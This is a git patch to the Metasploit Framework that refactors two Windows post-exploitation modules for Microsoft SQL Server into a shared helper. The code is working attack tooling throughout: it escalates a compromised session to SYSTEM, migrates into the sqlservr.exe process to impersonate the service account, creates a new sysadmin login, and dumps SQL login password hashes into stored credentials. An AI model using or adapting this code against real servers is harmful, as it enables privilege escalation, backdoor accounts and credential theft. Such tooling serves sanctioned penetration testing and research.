From e2af15a0dfbb3aed09e541a375c30ef27015c3ef Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 24 Feb 2015 22:05:16 +0000 Subject: [PATCH] Refactor MSSQL Post --- lib/msf/core/post/windows/mssql.rb | 156 ++++++ .../windows/manage/mssql_local_auth_bypass.rb | 448 +++--------------- .../windows/manage/mssql_local_hashdump.rb | 380 +++------------ 3 files changed, 280 insertions(+), 704 deletions(-) create mode 100644 lib/msf/core/post/windows/mssql.rb diff --git a/lib/msf/core/post/windows/mssql.rb b/lib/msf/core/post/windows/mssql.rb new file mode 100644 index 0000000000..88d3961b2a --- /dev/null +++ b/lib/msf/core/post/windows/mssql.rb @@ -0,0 +1,156 @@ +# -*- coding: binary -*- + +module Msf +class Post +module Windows + +module MSSQL + + attr_accessor :sql_client + + include Msf::Exploit::Remote::MSSQL_COMMANDS + include Msf::Post::Windows::Services + include Msf::Post::Windows::Priv + + ## ---------------------------------------------- + ## Method to check if the SQL Server service is running + ## ---------------------------------------------- + def check_for_sqlserver(instance=nil) + target_service = nil + each_service do |service| + unless instance.to_s.strip.empty? + if service[:display].downcase.include?(instance.downcase) + target_service = service + break + end + else + # Target default instance + if service[:display] =~ /SQL Server \(| MSSQLSERVER/i + target_service = service + break + end + end + end + + if target_service + target_service.merge!(service_info(target_service[:name])) + end + + return target_service + end + + ## ---------------------------------------------- + ## Method for identifying which SQL client to use + ## ---------------------------------------------- + def get_sql_client + client = nil + + if check_sqlcmd + client = 'sqlcmd' + elsif check_osql + client = 'osql' + end + + @sql_client = client + return client + end + + def check_osql + running_services1 = run_cmd("osql -?") + services_array1 = running_services1.split("\n") + return services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/ + end + + def check_sqlcmd + running_services = run_cmd("sqlcmd -?") + services_array = running_services.split("\n") + services_array.each do |service| + if service =~ /SQL Server Command Line Tool/ + return true + end + end + end + + def run_sql(query, instance=nil, server='.') + target = server + if instance && instance.downcase != 'mssqlserver' + target = "#{server}\\#{instance}" + end + cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200" + vprint_status(cmd) + run_cmd(cmd) + end + + ## ---------------------------------------------- + ## Method for executing cmd and returning the response + ## + ## Note: This is from one of Jabra's modules - Thanks man! + ## Note: This craps out when escalating from local admin to system + ## I assume it has something to do with the token, but don't + ## really know. + ##---------------------------------------------- + def run_cmd(cmd, token=true) + opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token} + process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts) + res = "" + while (d = process.channel.read) + break if d == "" + res << d + end + process.channel.close + process.close + + res + end + + + ## ---------------------------------------------- + ## Method for impersonating sql server instance + ## ---------------------------------------------- + def impersonate_sql_user(service) + pid = service[:pid] + vprint_status("Current user: #{session.sys.config.getuid}") + + # Attempt to migrate to target sqlservr.exe process + # Migrating works, but I can't rev2self after its complete + print_warning("Attempting to migrate to process #{pid}...") + begin + session.core.migrate(pid) + rescue Rex::RuntimeError => e + print_error(e.to_s) + return false + end + + vprint_status("Current user: #{session.sys.config.getuid}") + print_good("Successfully migrated to sqlservr.exe process #{pid}") + + true + end + + + ## ---------------------------------------------- + ## Method to become SYSTEM if required + ## Note: This is from one of Jabra's modules. + ## ---------------------------------------------- + def get_system + print_status("Checking if user is SYSTEM...") + + if is_system? + print_good("User is SYSTEM") + else + # Attempt to get LocalSystem privileges + print_warning("Attempting to get SYSTEM privileges...") + system_status = session.priv.getsystem + if system_status && system_status.first + print_good("Success, user is now SYSTEM") + return true + else + print_error("Unable to obtained SYSTEM privileges") + return false + end + end + end +end # MSSQL +end # Windows +end # Post +end # Msf diff --git a/modules/post/windows/manage/mssql_local_auth_bypass.rb b/modules/post/windows/manage/mssql_local_auth_bypass.rb index b738866232..5c42ca1da5 100644 --- a/modules/post/windows/manage/mssql_local_auth_bypass.rb +++ b/modules/post/windows/manage/mssql_local_auth_bypass.rb @@ -5,10 +5,13 @@ require 'msf/core' require 'rex' - +require 'msf/core/post/windows/mssql' +load '/home/ben/git/metasploit-framework/lib/msf/core/post/windows/mssql.rb' class Metasploit3 < Msf::Post + include Msf::Post::Windows::MSSQL + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass', @@ -35,440 +38,113 @@ class Metasploit3 < Msf::Post [ OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']), OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']), - OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']), - OptBool.new('REMOVE_LOGIN', [false, 'Remove DB_USERNAME login from database', 'false']) + OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]), + OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', 'false']) ], self.class) end def run - - # Set verbosity level - verbose = datastore['VERBOSE'].to_s.downcase - # Set instance name (if specified) - instance = datastore['INSTANCE'].to_s.upcase + instance = datastore['INSTANCE'].to_s # Display target print_status("Running module against #{sysinfo['Computer']}") + # Identify available native SQL client + get_sql_client + fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client + # Get LocalSystem privileges - system_status = givemesystem - if system_status[0] + system_status = get_system + fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status - # Check if a SQL Server service is running - service_instance = check_for_sqlserver(instance) - if service_instance != 0 + service = check_for_sqlserver(instance) + fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service - # Identify available native SQL client - sql_client = get_sql_client() - if sql_client != 0 + print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}") + instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip - # Check if remove_login was selected - if datastore['REMOVE_LOGIN'].to_s.downcase == "false" - - # Add new login - add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose) - if add_login_status == 1 - - # Add login to sysadmin fixed server role - add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose) - else - - if add_login_status != "userexists" then - - # Attempt to impersonate sql server service account (for sql server 2012) - impersonate_status = impersonate_sql_user(service_instance,verbose) - if impersonate_status == 1 - - # Add new login - add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose) - if add_login_status == 1 - - # Add login to sysadmin fixed server role - add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose) - end - end - end - end - else - - # Remove login - remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose) - if remove_status == 0 - - # Attempt to impersonate sql server service account (for sql server 2012) - impersonate_status = impersonate_sql_user(service_instance,verbose) - if impersonate_status == 1 - - # Remove login - remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose) - end - end - end - end - end + if datastore['REMOVE_LOGIN'] + remove_login(service, instance_name) else - print_error("Could not obtain LocalSystem privileges") + add_login(service, instance_name) end - # return to original priv context + # attempt to return to original priv context session.sys.config.revert_to_self end + def add_login(service, instance_name) + begin + add_login_status = add_sql_login(datastore['DB_USERNAME'], + datastore['DB_PASSWORD'], + instance_name) - ## ---------------------------------------------- - ## Method to check if the SQL Server service is running - ## ---------------------------------------------- - def check_for_sqlserver(instance) - - print_status("Checking for SQL Server...") - - # Get Data - running_services = run_cmd("net start") - - # Parse Data - services_array = running_services.split("\n") - - # Check for the SQL Server service - services_array.each do |service| - if instance == "" then - # Target default instance - if service =~ /SQL Server \(| MSSQLSERVER/ then - - # Display results - service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip - print_good("SQL Server instance found: #{service_instance}") - return service_instance - end + unless add_login_status + raise RuntimeError, "Retry" + end + rescue RuntimeError => e + if e.message == "Retry" + retry if impersonate_sql_user(service) else - - # Target user defined instance - if service =~ /#{instance}/ then - - # Display user defined instance - print_good("SQL Server instance found: #{instance}") - return instance - end + raise $! end end - - # Fail - if instance == "" then - print_error("SQL Server instance NOT found") - else - print_error("SQL Server instance \"#{instance}\" was NOT found") - end - return 0 end + def remove_login(service, instance_name) + begin + remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name) - ## ---------------------------------------------- - ## Method for identifying which SQL client to use - ## ---------------------------------------------- - def get_sql_client - - print_status("Checking for native client...") - - # Get Data - osql - running_services1 = run_cmd("osql -?") - - # Parse Data - osql - services_array1 = running_services1.split("\n") - - # Check for osql - if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/ - print_good("OSQL client was found") - return "osql" - end - - # Get Data - sqlcmd - running_services = run_cmd("sqlcmd -?") - - # Parse Data - sqlcmd - services_array = running_services.split("\n") - - # Check for SQLCMD - services_array.each do |service| - if service =~ /SQL Server Command Line Tool/ then - print_good("SQLCMD client was found") - return "sqlcmd" + unless remove_status + raise RuntimeError, "Retry" + end + rescue RuntimeError => e + if e.message == "Retry" + retry if impersonate_sql_user(service) + else + raise $! end end - - # Fail - print_error("No native SQL client was found") - return 0 end - ## ---------------------------------------------- - ## Method for adding a login - ## ---------------------------------------------- - def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose) - - print_status("Attempting to add new login #{dbuser}...") - - # Setup command format to accomidate version inconsistencies - if instance == "" - # Check default instance name - if service_instance == "MSSQLSERVER" then - print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true" - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\"" - else - # User defined instance - print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true" - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\"" - end - else - # User defined instance - print_status(" o defined instance: #{service_instance}") if verbose == "true" - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\"" - end - - # Display debugging information - print_status("Running command:") if verbose == "true" - print_status("#{sqlcommand}") if verbose == "true" + def add_sql_login(dbuser, dbpass, instance) + print_status("Attempting to add new login \"#{dbuser}\"...") + query = mssql_sa_escalation(username: dbuser, password: dbpass) # Get Data - add_login_result = run_cmd("#{sqlcommand}") + add_login_result = run_sql(query, instance) - # Parse Data - add_login_array = add_login_result.split("\n") - - # Check if user exists - add_login_array.each do |service| - - if service =~ /already exists/ then - print_error("Unable to add login #{dbuser}, user already exists") - return "userexists" - end - end - - # check for success/fail - if add_login_result.empty? or add_login_result =~ /New login created./ + case add_login_result + when '', /new login created/i print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"") - return 1 + return true + when /already exists/i + fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, user already exists") + when /password validation failed/i + fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements") else print_error("Unable to add login #{dbuser}") print_error("Database Error:\n #{add_login_result}") - return 0 + return false end end - - ## ---------------------------------------------- - ## Method for adding a login to sysadmin role - ## ---------------------------------------------- - def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose) - - print_status("Attempting to make #{dbuser} login a sysadmin...") - - # Setup command format to accomidate command inconsistencies - if instance == "" - # Check default instance name - if service_instance == "MSSQLSERVER" then - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \"" - else - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \ - begin select 'bingo' end \"" - end - else - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \"" - end - - # Display debugging information - print_status("Running command:") if verbose == "true" - print_status("#{sqlcommand}") if verbose == "true" - - # Get Data - add_sysadmin_result = run_cmd("#{sqlcommand}") - - # Parse Data - add_sysadmin_array = add_sysadmin_result.split("\n") - - # Check for success - check = 0 - add_sysadmin_array.each do |service| - if service =~ /bingo/ then - check = 1 - end - end - - # Display results to user - if check == 1 - print_good("Successfully added \"#{dbuser}\" to sysadmin role") - return 1 - else - # Fail - print_error("Unabled to add #{dbuser} to sysadmin role") - print_error("Database Error:\n\n #{add_sysadmin_result}") - return 0 - end - end - - - ## ---------------------------------------------- - ## Method for removing login - ## ---------------------------------------------- - def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose) - + def remove_sql_login(dbuser, instance_name) print_status("Attempting to remove login \"#{dbuser}\"") + query = "sp_droplogin '#{dbuser}'" - # Setup command format to accomidate command inconsistencies - if instance == "" - # Check default instance name - if service_instance == "SQLEXPRESS" then - # Set command here for SQLEXPRESS - sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\"" - else - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\"" - end - else - # Set command here - sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\"" - end - - # Display debugging information - print_status("Settings:") if verbose == "true" - print_status(" o SQL Client: #{sqlclient}") if verbose == "true" - print_status(" o User: #{dbuser}") if verbose == "true" - print_status(" o Service instance: #{service_instance}") if verbose == "true" - print_status(" o User defined instance: #{instance}") if verbose == "true" - print_status("Command:") if verbose == "true" - print_status("#{sqlcommand}") if verbose == "true" - - # Get Data - remove_login_result = run_cmd("#{sqlcommand}") - - # Parse Data - remove_login_array = remove_login_result.split("\n") - - # Check for success - check = 0 - remove_login_array.each do |service| - if service =~ // then - check = 1 - end - end + remove_login_result = run_sql(query, instance_name) # Display result - if check == 0 + if remove_login_result.empty? print_good("Successfully removed login \"#{dbuser}\"") - return 1 + return true else # Fail print_error("Unabled to remove login #{dbuser}") print_error("Database Error:\n\n #{remove_login_result}") - return 0 + return false end end - - ## ---------------------------------------------- - ## Method for executing cmd and returning the response - ## - ## Note: This is from one of Jabra's modules - Thanks man! - ## Note: This craps out when escalating from local admin to system - ## I assume it has something to do with the token, but don't - ## really know. - ##---------------------------------------------- - def run_cmd(cmd,token=true) - opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token} - process = session.sys.process.execute(cmd, nil, opts) - res = "" - while (d = process.channel.read) - break if d == "" - res << d - end - process.channel.close - process.close - return res - end - - - ## ---------------------------------------------- - ## Method for impersonating sql server instance - ## ---------------------------------------------- - def impersonate_sql_user(service_instance,verbose) - - # Print the current user - blah = session.sys.config.getuid if verbose == "true" - print_status("Current user: #{blah}") if verbose == "true" - - # Define target user/pid - targetuser = "" - targetpid = "" - - # Identify SQL Server service processes - print_status("Searching for sqlservr.exe processes not running as SYSTEM...") - session.sys.process.get_processes().each do |x| - - # Search for all sqlservr.exe processes - if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM") - - # Found one - print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}") - - # Define target pid / user - if x['user'] =~ /NT SERVICE/ then - if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then - targetuser = "NT SERVICE\\MSSQL$#{service_instance}" - targetpid = x['pid'] - end - else - targetuser = x['user'] - targetpid = x['pid'] - end - end - end - - # Attempt to migrate to target sqlservr.exe process - if targetuser == "" then - print_error("Unable to find sqlservr.exe process not running as SYSTEM") - return 0 - else - begin - # Migrating works, but I can't rev2self after its complete - print_status("Attempting to migrate to process #{targetpid}...") - session.core.migrate(targetpid.to_i) - - # Statusing - blah = session.sys.config.getuid if verbose == "true" - print_status("Current user: #{blah}") if verbose == "true" - print_good("Successfully migrated to sqlservr.exe process #{targetpid}") - return 1 - rescue - print_error("Unable to migrate to sqlservr.exe process #{targetpid}") - return 0 - end - end - end - - - ## ---------------------------------------------- - ## Method to become SYSTEM if required - ## Note: This is from one of Jabra's modules. - ## ---------------------------------------------- - def givemesystem - - # Statusing - print_status("Checking if user is SYSTEM...") - - # Check if user is system - if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM" - print_good("User is SYSTEM") - return 1 - else - # Attempt to get LocalSystem privileges - print_error("User is NOT SYSTEM") - print_status("Attempting to get SYSTEM privileges...") - system_status = session.priv.getsystem - if system_status[0] - print_good("Success!, user is now SYSTEM") - return 1 - else - print_error("Unable to obtained SYSTEM privileges") - return 0 - end - end - end - end diff --git a/modules/post/windows/manage/mssql_local_hashdump.rb b/modules/post/windows/manage/mssql_local_hashdump.rb index 9b3b0e7140..c9f9966069 100644 --- a/modules/post/windows/manage/mssql_local_hashdump.rb +++ b/modules/post/windows/manage/mssql_local_hashdump.rb @@ -6,17 +6,12 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -require 'rex/proto/rfb' +require 'msf/core/post/windows/mssql' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report - include Msf::Post::Windows::UserProfiles - - VERSION_5 = Gem::Version.new('5.0') - VERSION_6 = Gem::Version.new('6.0') - VERSION_8 = Gem::Version.new('8.0') - VERSION_9 = Gem::Version.new('9.0') + include Msf::Post::Windows::MSSQL def initialize(info={}) super( update_info( info, @@ -33,249 +28,105 @@ class Metasploit3 < Msf::Post register_options( [ - OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']), + OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]) ], self.class) end def run - - # Set verbosity level - verbose = datastore['VERBOSE'].to_s.downcase - # Set instance name (if specified) - instance = datastore['INSTANCE'].to_s.upcase + instance = datastore['INSTANCE'].to_s # Display target print_status("Running module against #{sysinfo['Computer']}") + # Identify available native SQL client + get_sql_client + fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client + # Get LocalSystem privileges - system_status = givemesystem - if system_status[0] + system_status = get_system + fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status - # Check if a SQL Server service is running - service_instance = check_for_sqlserver(instance) - if service_instance != 0 + service = check_for_sqlserver(instance) + fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service - # Identify available native SQL client - sql_client = get_sql_client() - if sql_client != 0 + print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}") + instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip - # Get Password Hashes - add_sql_status = get_sql_hash(sql_client,instance,service_instance,verbose) - - # If Fail - if add_sql_status == 0 - - # Attempt to impersonate sql server service account (for sql server 2012) - impersonate_status = impersonate_sql_user(service_instance,verbose) - if impersonate_status == 1 - - # Get Password Hashes - get_sql_hash(sql_client,instance,service_instance,verbose) - - end - end - end + begin + get_sql_hash(instance_name) + rescue RuntimeError + # Attempt to impersonate sql server service account (for sql server 2012) + if impersonate_sql_user(service) + get_sql_hash(instance_name) end - else - print_error("Could not obtain LocalSystem privileges") end # return to original priv context session.sys.config.revert_to_self end + def get_sql_version(instance_name) + vprint_status("Attempting to get version...") - ## ---------------------------------------------- - ## Method to check if the SQL Server service is running - ## ---------------------------------------------- - def check_for_sqlserver(instance) + query = mssql_sql_info - print_status("Checking for SQL Server...") - - # Get Data - running_services = run_cmd("net start") - - # Parse Data - services_array = running_services.split("\n") - - # Check for the SQL Server service - services_array.each do |service| - if instance == "" then - # Target default instance - if service =~ /SQL Server \(| MSSQLSERVER/ then - - # Display results - service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip - print_status("SQL Server instance found: #{service_instance}") - return service_instance - end - else - - # Target user defined instance - if service =~ /#{instance}/ then - - # Display user defined instance - print_status("SQL Server instance found: #{instance}") - return instance - end - end - end - - # Fail - if instance == "" then - print_error("SQL Server instance NOT found") - else - print_error("SQL Server instance \"#{instance}\" was NOT found") - end - return 0 - end - - - ## ---------------------------------------------- - ## Method for identifying which SQL client to use - ## ---------------------------------------------- - def get_sql_client - - print_status("Checking for native client...") - - # Get Data - osql - running_services1 = run_cmd("osql -?") - - # Parse Data - osql - services_array1 = running_services1.split("\n") - - # Check for osql - if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/ - print_status("OSQL client was found") - return "osql" - end - - # Get Data - sqlcmd - running_services = run_cmd("sqlcmd -?") - - # Parse Data - sqlcmd - services_array = running_services.split("\n") - - # Check for SQLCMD - services_array.each do |service| - if service =~ /SQL Server Command Line Tool/ then - print_status("SQLCMD client was found") - return "sqlcmd" - end - end - - # Fail - print_error("No native SQL client was found") - return 0 - end - - ## ---------------------------------------------- - ## Method for getting SQL Version - ## ---------------------------------------------- - def get_sql_version(sqlclient,instance,service_instance,verbose) - - print_status("Attempting to get version...") - - mssql_version_query = "SELECT @@version" - - # Setup command format to accomidate version inconsistencies - if instance == "" - # Check default instance name - if service_instance == "MSSQLSERVER" then - print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true" - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"SET nocount on;#{mssql_version_query}\" -h-1" - else - # User defined instance - print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true" - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"SET nocount on;#{mssql_version_query}\" -h-1" - end - else - # User defined instance - print_status(" o defined instance: #{service_instance}") if verbose == "true" - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"SET nocount on;#{mssql_version_query}\" -h-1" - end - - # Display debugging information - print_status("Running command:") if verbose == "true" - print_status("#{sqlcommand}") if verbose == "true" - - # Get Data - get_version_result = run_cmd("#{sqlcommand}") + get_version_result = run_sql(query, instance_name) # Parse Data get_version_array = get_version_result.split("\n") - version_year = get_version_array[0].strip.slice(/\d\d\d\d/) + version_year = get_version_array.first.strip.slice(/\d\d\d\d/) if version_year - print_status("MSSQL version found: #{version_year}") + vprint_status("MSSQL version found: #{version_year}") return version_year else - print_error("MSSQL version not found") + vprint_error("MSSQL version not found") end end - ## ---------------------------------------------- - ## Method for getting password hashes - ## ---------------------------------------------- - def get_sql_hash(sqlclient,instance,service_instance,verbose) - - version_year = get_sql_version(sqlclient,instance,service_instance,verbose) + def get_sql_hash(instance_name) + version_year = get_sql_version(instance_name) case version_year when "2000" - hashtype = "mssql" - mssql_password_hashes_query = "SELECT name+':'+master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins" + hash_type = "mssql" + query = mssql_2k_password_hashes when "2005", "2008" - hashtype = "mssql05" - mssql_password_hashes_query = "SELECT name+':'+master.sys.fn_varbintohexstr(password_hash) FROM master.sys.sql_logins" + hash_type = "mssql05" + query = mssql_2k5_password_hashes when "2012", "2014" - hashtype = "mssql12" - mssql_password_hashes_query = "SELECT name+':'+master.sys.fn_varbintohexstr(password_hash) FROM master.sys.sql_logins" + hash_type = "mssql12" + query = mssql_2k5_password_hashes + else + fail_with(Exploit::Failure::Unknown, "Unable to determine MSSQL Version") end print_status("Attempting to get password hashes...") - # Setup command format to accomidate version inconsistencies - if instance == "" - # Check default instance name - if service_instance == "MSSQLSERVER" then - print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true" - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"SET nocount on;#{mssql_password_hashes_query}\" -h-1 -w 200" - else - # User defined instance - print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true" - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"SET nocount on;#{mssql_password_hashes_query}\" -h-1 -w 200" - end + get_hash_result = run_sql(query, instance_name) + + if get_hash_result.include?('0x') + # Parse Data + hash_array = get_hash_result.split("\r\n").grep(/0x/) + + store_hashes(hash_array, hash_type) else - # User defined instance - print_status(" o defined instance: #{instance}") if verbose == "true" - sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"SET nocount on;#{mssql_password_hashes_query}\" -h-1 -w 200" + fail_with(Exploit::Failure::Unknown, "Unable to retrieve hashes") end + end - # Display debugging information - print_status("Running command:") if verbose == "true" - print_status("#{sqlcommand}") if verbose == "true" - - # Get Data - get_hash_result = run_cmd("#{sqlcommand}") - #print_good("Raw Result: \n#{get_hash_result}") - - - # Parse Data - get_hash_array = get_hash_result.split("\n").grep(/:/) - + def store_hashes(hash_array, hash_type) # Save data loot_hashes = "" - get_hash_array.each do |row| - user = row.strip.split(":")[0] - hash = row.strip.split(":")[1] + hash_array.each do |row| + user, hash = row.strip.split service_data = { - address: ::Rex::Socket.getaddress(rhost,true), - port: rport, - service_name: 'mssql', - protocol: 'tcp', - workspace_id: myworkspace_id + address: rhost, + port: rport, + service_name: 'mssql', + protocol: 'tcp', + workspace_id: myworkspace_id } # Initialize Metasploit::Credential::Core object @@ -286,7 +137,7 @@ class Metasploit3 < Msf::Post private_data: hash, username: user, session_id: session_db_id, - jtr_format: hashtype, + jtr_format: hash_type, workspace_id: myworkspace_id } @@ -303,127 +154,20 @@ class Metasploit3 < Msf::Post # Merge in the service data and create our Login login_data.merge!(service_data) - login = create_credential_login(login_data) + create_credential_login(login_data) - print_good("#{rhost} Saving = #{user}:#{hash}") + print_line("#{user}:#{hash}") - loot_hashes << user+":"+hash+"\n" - + loot_hashes << "#{user}:#{hash}\n" end - if loot_hashes != "" + + unless loot_hashes.empty? # Store MSSQL password hash as loot loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash') print_good("MSSQL password hash saved in: #{loot_path}") - return 1 + return true else - return 0 - end - end - - ## ---------------------------------------------- - ## Method for executing cmd and returning the response - ## Note: This is from one of Jabra's modules - Thanks man! - ##---------------------------------------------- - def run_cmd(cmd,token=true) - opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token} - process = session.sys.process.execute(cmd, nil, opts) - res = "" - while (d = process.channel.read) - break if d == "" - res << d - end - process.channel.close - process.close - return res - end - - - ## ---------------------------------------------- - ## Method for impersonating sql server instance - ## Taken from mssql_local_auth_bypass - ## Thanks Scott Sutherland ! - ## ---------------------------------------------- - def impersonate_sql_user(service_instance,verbose) - - # Print the current user - blah = session.sys.config.getuid if verbose == "true" - print_status("Current user: #{blah}") if verbose == "true" - - # Define target user/pid - targetuser = "" - targetpid = "" - - # Identify SQL Server service processes - print_status("Searching for sqlservr.exe processes not running as SYSTEM...") - session.sys.process.get_processes().each do |x| - - # Search for all sqlservr.exe processes - if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM") - - # Found one - print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}") - - # Define target pid / user - if x['user'] =~ /NT SERVICE/ then - if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then - targetuser = "NT SERVICE\\MSSQL$#{service_instance}" - targetpid = x['pid'] - end - else - targetuser = x['user'] - targetpid = x['pid'] - end - end - end - - # Attempt to migrate to target sqlservr.exe process - if targetuser == "" then - print_error("Unable to find sqlservr.exe process not running as SYSTEM") - return 0 - else - begin - # Migrating works, but I can't rev2self after its complete - print_status("Attempting to migrate to process #{targetpid}...") - session.core.migrate(targetpid.to_i) - - # Statusing - blah = session.sys.config.getuid if verbose == "true" - print_status("Current user: #{blah}") if verbose == "true" - print_good("Successfully migrated to sqlservr.exe process #{targetpid}") - return 1 - rescue - print_error("Unable to migrate to sqlservr.exe process #{targetpid}") - return 0 - end - end - end - - - ## ---------------------------------------------- - ## Method to become SYSTEM if required - ## Note: This is from one of Jabra's modules. - ## ---------------------------------------------- - def givemesystem - - # Statusing - print_status("Checking if user is SYSTEM...") - - # Check if user is system - if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM" - print_status("User is SYSTEM") - return 1 - else - # Attempt to get LocalSystem privileges - print_error("User is NOT SYSTEM") - print_status("Attempting to get SYSTEM privileges...") - system_status = session.priv.getsystem - if system_status[0] - print_good("Success!, user is now SYSTEM") - return 1 - else - print_error("Unable to obtained SYSTEM privileges") - return 0 - end + return false end end